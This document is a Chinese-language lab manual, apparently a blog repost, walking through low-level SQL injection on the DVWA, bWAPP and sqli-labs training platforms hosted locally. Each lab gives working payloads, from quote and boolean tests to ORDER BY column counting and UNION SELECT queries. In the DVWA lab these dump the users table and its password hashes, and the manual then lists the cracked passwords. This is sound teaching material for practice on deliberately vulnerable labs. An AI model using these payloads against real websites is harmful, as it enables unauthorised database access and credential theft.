DVWA+bWApp+sqli-labs平台 low级别sql注入

SQL注入漏洞实验手册

 

实验一:DVWA练习平台low安全级别SQL注入

访问地址:http://127.0.0.1/dvwa,用户名:admin,口令password,成功登录系统。

选择安全级别low,如下图所示。

选择SQL Injection实验,如图所示。

第一步:查找数据输入点,显然User ID是一个数据输入点,输入1-5,会有输入,如图所示,其他数据没有输出。

第二步:SQL注入点测试

首先测试一下是不是数字型的注入点,输入“1 or 1=1”,“1 and 1=1”,“1 and 1=2”,发现输出结果一样,初步判断不是数字型。

然后测试一下是否是字符型注入点,输入“1’”,则报错,如图所示,初步判断可能是一个字符型注入点。

输入“a' or 'a'='a”试试,成功登陆,效果如下图所示,说明这是一个字符型SQL注入点。

 

第三步:确定当前查询语句输出列数。

输入“1' order by 1 -- ”,正常输出,将后面的1变更为数字2,也能正常输入,如下图所示。

输入“1' order by 3 -- ”时,输出错误信息,如下图所示,说明当前查询语句只有两列数据。

第四步:确定查询信息输出点。

输入“10' union select 1,2 --”,输入结果如下图所示,说明有两个信息输出点,我们可以选择其中的任意一个输出点来输出信息。

第五步:确定当前用户和数据库信息。

输入“10' union select user(),database() --”,输出结果如下图所示,当前用户root@localhost,当前数据库dvwa。

第六步:列举当前所有数据库名。

输入“10' union select 1, group_concat(schema_name) from information_schema.schemata -- ”,输出结果如图所示,包括当前的数据库dvwa。

第七步:列举数据库dvwa中所有表名。

输入“10' union select 1, group_concat(table_name) from information_schema.tables where table_schema='dvwa' -- ”,输入结果如下图所示,包括两个表guestbook和users。

第八步:获取表users中的所有字段。

输入“10' union select 1, group_concat(column_name) from information_schema.columns where table_schema='dvwa' and table_name='users' -- ”,输入结果如下图所示,字段名有:user_id,first_name,last_name,user,password,avatar,last_login,failed_login。

第九步:获取表users中的所有关键信息。

输入“10' union select 1,group_concat(user_id, 0x20, first_name, 0x20, last_name, 0x20, user, 0x20, password) from users --”,输入信息如下图所示,收集整理得到users中的信息如下表所示。

user_id

first_name

last_name

user

password

1

admin

admin

admin

5f4dcc3b5aa765d61d8327deb882cf99

2

Gordon

Brown

gordonb

e99a18c428cb38d5f260853678922e03

3

Hack

Me

1337

8d3533d75ae2c3966d7e0d4fcc69216b

4

Pablo

Picasso

pablo

0d107d09f5bbe40cade3de5c71e9e9b7

5

Bob

Smith

smithy

5f4dcc3b5aa765d61d8327deb882cf99

提示:这里的密码是经过MD5加密的,可以尝试暴力恢复密码,写一个脚本程序试试哦。利用MD5解密网站http://www.cmd5.com/,破解用户gordonb的密码是abc123, 用户1337的密码是charley,用户pablo的密码是letmein,用户smithy的密码是password。

实验二:bWAPP练习平台low级别SQL Injection (GET/Search)

访问http://127.0.0.1/bwapp,用户名bee,口令bug,安全级别选择low,登陆系统,如图所示。

选择SQL Injection(GET/Search),如图所示,然后点击Hack按钮,启动实验场景。

SQL Injection(GET/Search)实验场景如图所示,是一个电影搜索页面。

随意输入字符a,得到很多结果,大概可以判断它是根据输入的关键进行模糊搜索的。输入字符串a’,则报错,如图所示。

初步估计SQL语句的形式如下:

Select X,X,X,X from table_name where xxx like ‘%$key%’

输入a’ or 1 – 输出结果如下,可以确定以上猜测的SQL语句基本结构没有太大问题。

下面就是确定当前数据表的列数了,通过order by 操作实现。

输入a’ or1 order by 1 –(加上空格),结果正常,并且按照第一列(Title)排序,说明添加的order by 1语法正确,效果如图所示。

输入a’ or 1 order by 10 –(加上空格),结果出错,如图所示,说明当前数据表的列数少于10。

通过操作order by 后面的值,可以确定当值为7是正常,而当值为8时不正常,说明当前数据表的列数为7。

输入aaaa' union select 1,2,3,4,5,6,7 –(空格)(aaaa是搜索时没有记录匹配的字符串),结果如图所示,网页输出了2,3,4,5,在这几个位置可以输出我们想要的数据了。

输入aaaa' union select 1,user(),database(),4,5,6,7 –(空格),则输出当前的用户和数据库名,如图所示。

 

实验三:sqli-labs练习平台

访问http://127.0.0.1/sqli-labs/,选择Less-2,如图所示,启动实验场景。

Less-2-GET-Error based-Intiger based实验场景如图所示。

网页提醒使用ID作为输入参数,并且参数是整型,尝试输入id=1,网页正常输出,效果如图所示。

 

尝试输入id=1 and 1=1,输出效果和上图一样。尝试输入?id= 2,然后替换id后面的值,输入3-12都正常显示,13时没有信息输出。

尝试输入?id=1 and 1=2,则输出效果明显不一样,如图所示,说明输入的and 1=1和and 1=2是发挥了作用的。

尝试输入?id=13 or 1,则正常输出,可以确定了存在SQL注入漏洞了,估计的SQL语句形式如下:

select xxx from table_name where id=$id

下面测试一下当前数据表的列。

尝试输入?id=1 order by 1,正常输入。

尝试输入?id=1 order by 10,异常输出,最后经过测试,可以确定当前数据表的列数为3列。

尝试输入?id=13 union select 1,2,3,则2号和3号位置输出在Web页面上,效果如图所示。

输入?id=13 union select 1,user(),database(),则可以得到当前登录用户名和当前数据库名,如图所示。

猜你喜欢

转载自blog.csdn.net/qq_42882717/article/details/112305688